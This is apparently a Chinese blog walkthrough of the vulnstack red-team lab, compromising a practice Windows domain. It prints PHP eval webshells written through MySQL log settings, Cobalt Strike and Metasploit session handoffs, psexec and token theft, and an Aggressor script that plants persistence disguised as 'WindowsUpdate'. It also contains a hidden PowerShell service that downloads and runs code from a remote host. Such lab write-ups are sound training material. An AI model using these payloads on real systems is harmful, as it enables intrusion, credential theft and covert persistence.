0%

vulnstack-ATT&CK实战系列 红队实战(一)

前言

 前面内网基础知识也是学了些了,感觉还是需要做系统点的实验,于是找到了【红日安全的红队实战系列】就先从一开始吧,加油加油。

环境搭建

 测试时我宿主机一直无法ping通win7,后面发现是防火墙给了限制,应该是题目环境需要特意禁用的。这里我为了方便就把他打开了。开启如下规则即可:

下面开始介绍环境:
靶机下载可以到官网下载:
【详情】
所有主机密码为:hongrisec@2019
拓扑图

VM1 也就是 win7

首先我们知道他是一个web服务器拥有2张网卡,一个可以设置为net,一个设置为仅主机。默认只有一个网卡设备需要我们在vmware中添加,仅主机对应的是VMnet1我们可以在宿主机上找到网卡VMnet1指定好他的ip等,他的ip就是选用仅主机模式网卡的网关地址这里我设置的是192.168.52.2。还有就是我们有要求内网网段可以到vmware中的虚拟网络编辑器进行修改如图: 我将其设置为了52网段与前面设置的网关相匹配。
 随后我们进入win7系统,配置特定的ip地址网关等。但是有多个网卡驱动我们需要找到对应的根据mac地址(具体不说了,懂的都懂)然后进行修改。
这里我设置的内网:

  • ip:192.168.52.143
  • 网关:192.168.52.2
  • dns:192.168.52.138这个需要是后面主机中的dns服务器ip

外网:

  • ip:192.168.152.141
  • 网关:192.168.152.2这个也是和vmware中的配置相关的。
  • dns:192.168.152.2 意义不大

随后进入c盘的phpstudy文件夹将phpstudy程序打开,宿主机可以输入ip测试是否配置成功(可能有延迟)phpinfo
说明配置的外网无问题,内网还需要进一步测试。

VM2 也就是 win2003

Win2K3域成员,我们只需要在vmware中将其网卡的模式调为仅主机,随后进入主机(需重新设置密码)配置网卡适配器为我们指定的即可,服务啥的已经开了。

  • ip: 192.168.52.141
  • dns: 192.168.52.138也是和dns有关
  • 网关: 192.168.52.2

VM3 也就是 win2008

它是域控,我们也是将其配置为仅主机模式,随后设置网卡配置如下:

  • ip: 192.168.52.138
  • dns: 192.168.52.138
  • 网关: 192.168.52.2

外网信息收集

这里初始是我们知道了 192.168.152.143 这个ip有,那么我们可以搜一下c段以及开启了哪些端口有哪些网站目录备份文件等。

主机发现以及端口扫描

这里我们可以使用nmap命令

1
2
3
nmap -Pn -sS 192.168.152.0/24
# -Pn 是不用ping命令区侦探,应该环境默认禁ping
# 还可以使用 -sV 来列出 服务版本

既可以得到存活主机也可以得到开放端口服务,这里我们只关心192.168.152.143


发现开启了80 web服务,135 RPC(Remote Procedure Call,远程过程调用),3306 mysql服务。

扫描web站的信息,可以使用dirsearch

使用dirsearch扫描,其它目录扫描工具皆可。

发现了phpadmin、和beifen.rar备份文件,以及phpinfo.php和根目录有东西。

突破边界

利用phpMyadmin

(1)、判断phpmyadmin版本

  1. 利用登录旁边的小问号打开phpMyadmin文档可以查看版本,问号跳转404了。(changelog.php)phpmyadmin为3.5.8.2,mysql为5.5.53
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    常用目录
    README
    ChangeLog
    doc/html/index.html
    Change
    changelog.php
    readme.php
    Documetation.html
    Documetation.txt
    translators.html
  2. 使用一切办法弄到密码登入后右下脚会有版本信息,这里显示phpstudy2014。

(2)、phpMyAdmin 漏洞利用

phpMyAdmin的漏洞多为经过验证后才能利用,所以需要进入后台。可以采用爆破的方式进入后台,弱口令或通过旁站的sql注入:

1
2
3
4
5
可以用msf的auxiliary/scanner/http/phpmyadmin_login模块进行爆破。(也是需要设置字典的)
弱口令:
root:root
root:空
mysql:mysql

得到 用户名root 、密码root

利用into outfile 拿webshell

 直接利用into outfile 在网站根目录下写入webshell,前提条件如下:

  1. 当前数据库有写权限。
  2. 知道web绝对路径
  3. web路径可以写

判断是否有写权限:
 执行如下命令:

1
2
3
show variables like '%secure%';
或者:
select @@global.secure_file_priv

对应值的意思如下:

1
2
3
secure_file_priv=NULL,禁止导入导出
secure_file_priv='',不限制导入导出
secure_file_priv=/path/,只能向指定目录导入导出

而我们这里是NULL所以没戏。

利用日志get shell

mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。

  1. 查看日志状态:
    1
    show variables like '%general%';
  2. 有图可知我们的日志服务是关闭的,我们打开
    1
    set global general_log = "ON";
  3. 且我们有phpinfo知道的网站根目录在C:/phpStudy/WWW 那么我们执行如下命令设置指定日志文件路径
    1
    set global general_log_file = "C:/phpStudy/WWW/log.php";
  4. 利用 show variables like "%general%"查看是否配置成功
  5. 接下来我们只需要执行select一些一句话木马就可以写入文件里了。
    1
    select "<?php @eval($_GET['ma']);?>"
  6. 利用成功,接着我们可以直接用蚁剑或者其它的shell管理工具连接上,进行管理。
通过慢查询写webshell
  1. 查看当前慢查询日志目录:
    1
    show variables like '%slow%';
  2. 修改慢查询的日志路径,及开启慢查询
    1
    2
    3
    4
    SET GLOBAL slow_query_log_file = "C:/phpStudy/WWW/slow.php"
    set GLOBAL slow_query_log=on;
    再次查看
    SHOW VARIABLES LIKE "%slow%"
  3. 我们需要注意一下慢查询时间,就是多久才算慢才回被记录在这个日志文件里:
    1
    SELECT @@long_query_time
  4. 接着老样子,我们select一下危险代码并睡11秒语法多样
    1
    SELECT sleep(11),"<?php  @eval($_GET[mayi]);?>"
    利用成功

【利用参考链接】
一句马用get的话似乎用蚁剑连不上。

利用 yxcms getshell

还记得我们有个备份文件吗?beifen.rar解压是个yxcms 我们直接尝试访问一下,公告处存在账号密码我们登入玩玩。
 登入后我们很容易找到模板管理这里,它可能存在漏洞点。我们可以更改文件内容,我们修改index_index.php测试,猜测他就是我们主页所访问到的。先写个<?php phpinfo();?>得到预期结果后我们直接写马吧。

上线Cobalt strike 以及联动 msf

 前面我们已经用蚁剑连上了webshell,我们可以执行系统命令而且是管理员权限。我们现在上线到CS,大概就是创建一个监听器,然后生成一个后门让win7来连接就行。最好关闭一下防火墙:

1
netsh advfirewall set allprofiles state off

CS -> MSF

MSF上执行如下命令进行监听:

1
2
use exploit/multi/handler
set payload windows/meterpreter/reverse_http

这个payload我前面一直掉,后面参试了其它的payload后才可以。注意一下架构。
CS上执行如下操作:
创建监听器,windows/foreign/reverse_http

随后执行监听器,在外面需要传递的beacon中执行spawn msf msf是外面定义的监听器名。

随后回到msf就会发现上线成功。

MSF -> CS

msf上操作:

1
2
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_htt

并设置好参数

CS 上操作:
创建一个 windows/beacon_http/reverse_http 监听器,并配置好参数,与上面对应。

Cobalt Strike 上进行操作

SMB Beacon

派生一个 SMB Beacon监听器,它通信更加隐蔽。

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

简单来说,SMB Beacon有两种方式。第一种直接派生一个孩子,目的是进一步盗取内网主机的hash。第二种在已有的 Beacon 上创建监听,用来作为跳板进行内网穿透。
注意事项:

  1. 具有SMB Beacon的主机必须接受端口445上的连接。
  2. 只能链接由同一Cobalt Strike实例管理的Beacon。

进一步窃取内网主机hash

  1. 新建一个 Listener 监听器,payload设置为Beacon SMB。
  2. 在已有的Beacon上右击Spawn(生成会话/派生),选择创建的smb beacon的listener。运行成功后 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon 当前是连接状态 也可以在主Beacon上 用link host链接它 或者unlink host断开它 。(我们可以在透视图中查看,如果连接线上显示disconnected就表示断开了)
  3. 作为跳板进行内网穿透

     前提是能够通过shell之类的访问到内网其它主机。
  4. psexec 使用凭证登录其它主机,右击选择一台非域控主机的psexec模块监听器选择对应的smb beacon 会话。然后如果另一台的密码或hash一至就可以成功获得一个smb 连接。在beacon中执行了如下命令
    1
    2
    3
    4
    5
    beacon> rev2self
    [*] Tasked beacon to revert token
    beacon> make_token GOD.ORG\Administrator 密码
    [*] Tasked beacon to create a token for GOD.ORG\Administrator
    beacon> jump psexec ROOT-TVI862UBEH local-82-
  5. token 窃取,直接窃取token来登录其它机器,需要密码一至。选择 beacon 右键 -> 目标 -> 进程列表。然后选择GOD\Administrator 的 token 盗取(不一定是要这个用户,只要感觉他们密码可能一至都试试也行):
    随后我们再使用psexec然后勾选下面的使用当前会话的访问令牌注意选定好对应进程。

权限维持

隐藏文件

windows 首选 attrib,使用这个命令可以直接添加隐藏属性。

1
attrib C:\test.exe +s +h

+s是设置系统属性,+h设置隐藏属性,如果需要取消将+换成-即可。

定时任务

schtasks 允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。替代 AT.exe,使用以下命令可以快捷的创建一个定时任务。

1
schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1

/create 是创建新任务,/TNTaskName的简写,也就是新建的任务的名字,在系统必须唯一,/TRTaskRun的简写,即为需要运行的程序的路径和文件名。/SCschedule的简写,指定执行的频率的时间单位, /MOmodifier的缩写,可以理解为执行的频率的时间数值。如果任务已经在执行schtasks并不会重复拉起任务。相比at来说,schtasks的优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除:

1
schtasks /delete /tn WindowsUpdate

注册表

windows系统的开机项位于注册表的:

1
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

新建一个字符串值并修改数值数据为程序路径即可。命令行:

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f

shift 后门

挺老的东西了,需要system权限才能实现,如果我们可以把cmd.exe这个程序更名称sethc.exe并且把原来的sethc.exe替换掉

1
copy C:\WINDOWS\system32\cmd.exe  C:\windows\system32\sethc.exe

Windows 服务

在windows上系统服务可以用SC 命令进行增删改。

1
2
3
sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate

需要注意参数值与等号之间要有空格。使用Windows服务进行自启有个很有意思的地方,默认是以system权限启动,也是“提权”的一种不错的方式。另外有个小坑,sc在powershell中传参有问题,执行不成功,必须在cmd里执行

自启目录

本质上来说和注册表修改是同一个,一个是复制文件,一个是修改注册表。接受方式不同,顺便一起记一下了。命令行:

1
2
copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h

这里有个值得提起注意,如果用户不是Administrator,目录得改为相应用户。

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
popup beacon_bottom {
menu "权限维持" {

item "设置路径" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}


item "隐藏文件" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}


item "定时任务" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}

item "注册表"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}

item "SC服务"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

}
}

item "shift启动"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}

item "自启动目录"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}

item "懒人攻略" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

}

}


}
}

先设置好远控所在的目录,然后执行懒人攻略,重启正常情况下即可弹回四个会话。(一个system,三个admin)【github链接】
需要先设置文件路径

创建一个 web Delivery 服务自启

先创建一个Scripted web delivery

然后在beacon中输入如下命令:

1
2
3
4
5
6
7
shell sc create "ALGS" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.152.152:801/a'))"'))\"
#生成一个ALGS服务
shell SC config "ALGS" start= auto #设置name服务为自动
shell SC description "ALGS" "description" #设置服务描述
shell net start "ALGS" #启动服务
------------
shell SC delete "ALGS" #删除服务

内网信息收集

本机信息收集

一般拿到shell我们首先调低心跳值。然后查下本机的基本信息如: whoamihostnamenet usernet localgroup administrators

查看系统架构

1
echo %PROCESSOR_ARCHITECTURE%


还有systeminfo 可以列出很多信息。
我们还可以查询一下已安装的软件,从中找到利用点:

1
wmic product get name,version


然后还可以利用CS查看一下进程,具体不说了。
参见的杀软进程:【参考链接】
还有就是利用cs查看一下账号密码或者hash,已经开放了哪些端口。

其它主机信息收集

利用 net viewport scan 发现一下其它的主机及开放端口,port scan 可以扫ip和端口。
使用ipconfig /all 查看DNS服务器,判断一下是否在域内。
使用net view /domain 可以查看主域。
net time /domain查看服务器的时间如果回显 Workgroup 则说明不存在域,如果顺利显示时间说明存在域且是域用户。像这里报系统错误5 则说明有域但是不在域用户内。
查询当前的登录域与用户信息:net config workstation

找域控

我们知道一般域控和dns服务器是在一起的,所以我们nslookup查一下域名服务器就行。

可以知道我们DC IP为192.168.72.130

等等等等,收集自己需要的信息。(因为还是入门不太清楚有些信息的作用就先不记了)
刚觉就是收集下hash密码,有没有进一步的内网,扫下ip端口,系统版本,程序。根据特定情况提权。通过hash密码、系统漏洞横向移动。

横向移动

到这里我已经感觉记录越来越枯燥了(哈哈哈)
横向渗透需要在保证自己安全的前提下将已攻占的主机最大化地利用。常用的有数据挖掘、后门类、攻击类。

利用CS的 psexec

这个主要是利用本机查到的凭证去发展其它主机,这里需要与它的密码一致或者我们知道它的密码。只能说拼手气吧。

  1. 利用hashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords。爆出已知密码和hash
  2. 凭据信息可以查看到信息。
  3. 到目标窗口选择要参试的目标,随后进行psexec选择一个listener和一个进程。然后听天由命了。

利用进程的token

这种情况应该是前面爆密码什么的都没起到作用,当此时本机的token可以登录目标主机。

  1. 选择一个目标查看进程
  2. 选择一个适当的(用户、架构等)点击Steal Token
  3. 随后又是到psexec那里,不同的就是勾选“使用当前进程的token”(前面说过了)注意选对session。

利用 系统漏洞

这里我们可以利用目标主机的系统漏洞,比如ms17_010 也可以与msf联动使用一些系统漏洞进行入侵。
与msf联动前面说了。直接利用就行,然后利用成功再将session传回cobaltstrike。

不想记录了,先这样吧,后面实在不好记录也灭必要。后面又新知识再补充。这个靶场还可以继续做实验。


-------------本文结束感谢您的阅读-------------